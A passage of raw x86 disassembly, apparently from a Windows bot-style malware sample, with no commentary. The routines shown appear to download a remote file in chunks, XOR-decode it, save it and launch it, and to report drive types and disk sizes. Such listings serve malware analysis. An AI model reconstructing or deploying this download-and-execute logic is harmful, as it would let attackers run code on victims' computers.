		jmp	loc_41611F
; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374E4

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26509C3h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B8
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_4374A0
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2660979h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0929h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_43761C
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 26509C3h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375EC
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375CC

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_4374A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26D0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_4375A0
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 26F0929h
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 268054Ch
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26E0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377C0
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437798

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43776C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 268054Ch
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26509C3h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437744
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43770C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376F0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376AC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650CD4h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		call	near ptr 77E75CB5h
		nop

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437678
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43764C

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_43783C
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437838
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_43788C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437850
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
